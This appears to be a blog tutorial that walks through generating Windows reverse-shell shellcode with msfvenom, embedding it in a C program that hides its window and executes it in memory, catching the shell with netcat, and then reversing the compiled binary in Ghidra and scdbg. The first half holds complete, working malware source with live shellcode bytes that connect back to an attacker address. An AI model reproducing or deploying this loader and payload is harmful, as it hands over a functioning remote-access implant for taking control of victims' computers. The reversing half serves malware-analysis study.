In this post, we’ll learn together how to write a basic malware program that does a reverse shell connection (using shellcode) and analyze our own compiled malware. We’ll play around with C code using Visual Studio IDE and MSVenom for the creation of the shellcode. The maldev and malware reversing is only for education purpose only!
Malware development
Create a new project in Visual Studio
We’ll start with creating a new project. Choose the “Console App”. Make sure you choose C++.
Name your new project. I’m gonna use “revshell_exe”.
Now, let’s go to our Kali and fire up msvenom
to generate our Windows reverse shell’s shellcode to embed in our malware executable.
Generate reverse shell’s shellcode using MSVenom
Before we generate a “shellcode”. Some of the beginners might have no idea what does the shellcode means. So, “Shellcode” is a set of instructions that executes a command in software to take control of or exploit a compromised machine. In our case here, our shellcode is to gain the remote system shell of our victim. The shellcode is not only for shell access, instead there’s much other shellcode action that could be done by the author like privilege escalation and many more.
To generate the shellcode using msvenom, run this command below:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c
Example:
All we need now is to copy the shellcode I highlighted in the red box and paste it into our main
function inside VS IDE.
Coding
When it comes to programming, you need to be familiar with C and WinAPI. Below codes, I’ve put some comments to guide and understand what does the code does.
#include <Windows.h>
int main()
{
// Run our executable console app in the background
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), false);
// MSVenom shellcode payload here
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x80\x68"
"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
//Allocate memory for the shellcode
PVOID shellcode = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//Copies contents of memory block to destination
RtlCopyMemory(shellcode, buf, sizeof buf);
//Execute shellcode as new thread
DWORD threadID;
HANDLE handleThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode, NULL, 0, &threadID);
//Wait till thread terminates
WaitForSingleObject(handleThread, INFINITE);
}
If you don’t understand the WinAPI, here is some documentation from Microsoft:
- ShowWindow = Microsoft documentation link
- VirtualAlloc = Microsoft documentation link
- RtlCopyMemory = Microsoft documentation link
- CreateThread = Microsoft documentation link
- WaitForSingleObject = Microsoft documentation link
Test out our malware
Check for any errors in your code and now we are good to go.
In our Kali, let’s listen to our reverse shell. In my case, my port will be on 4444.
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvp 4444
listening on [any] 4444 ...
In “Solution Configurations”, change Debug
to Release
. Then, click Run icon.
After the program executed, our Kali will gain the remote shell cmd.
Our shellcode and malware successfully execute.
Malware analysis and reversing
Now copy your malicious executable from Release folder into your malware analysis lab and start analysing + reversing the program.
Ghidra analysis
The result of decompiler of Ghidra have a slightly changes from our code. This is due to the how compiler compiled our executable and how the Ghidra translate from the assembly code.
Here the explaination of the decompiled code:
Extract shellcode
From the decompiler code, we can locate the shellcode in the Ghidra.
This will bring us to the shellcode bytes in the “Listing view”.
To extract the shellcode, select all the bytes until the finish.
Go to Window tab > Bytes: filename.exe. The selected bytes now also been selected in the hex view.
Copy the bytes and paste into hex editor like HxD. And save it.
Now to analyze the shellcode, there’s some options:
- Use scdbg <– We will use this
- Use jmp2it
- Convert the shellcode into executable. And debug the executable using x32dbg.
Shellcode analysis
The output below of the scdbg for our shellcode is quite helpful. In our case here, the shellcode was easy to be analyzed. At sometimes, a complex shellcode will not be a simpler like this
LoadLibraryA(ws2_32)
: First, the process will load the DLL file “ws2_32.dll” using LoadLibrary API.
WSAStartup(190)
: After that, it calls WSAStartup function to initiate the utilization of the Winsock DLL by the current process.
WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
: It then call the WSASocket to creates a socket.
If we refer the documentation of WSASocket, here the explaination about the number in the prameter:
- af=2 -> The Internet Protocol version 4 (IPv4) address family.
- tp=1 -> SOCK_STREAM
- proto=0 -> the service provider will choose the protocol to use
- group=0 -> No group operation is performed.
- flags=0 -> A set of flags used to specify additional socket attributes.
connect(h=42, host: 192.168.0.128 , port: 4444 ) = 71ab4a07
: At this line, the program will establishes a connection to a specific socket. The parameter contains IP of the attacker and his port which will be used to get a reverse shell.
CreateProcessA( cmd, ) = 0x1269
: Our shellcode then executes cmd.exe by calling CreateProcessA API
WaitForSingleObject(h=1269, ms=ffffffff)
: This function will terminate the program when our reverse shell been killed.
ExitProcess(0)
: Exit and terminate current process.
Sum up
In the conclusion, we’ve learn how to develop a malware that leverage our metasploit shellcode to create the connection to our C2. In the code, we can see that the malware first will be run in the background. And then it allocates some memory space for our shellcode. After allocating the memory region, our shellcode is then being copy to the allocated memory. Then, it uses CreateThread API to execute the shellcode. In the shellcode, it will connect to our IP and port to gain the reverse shell of cmd.exe.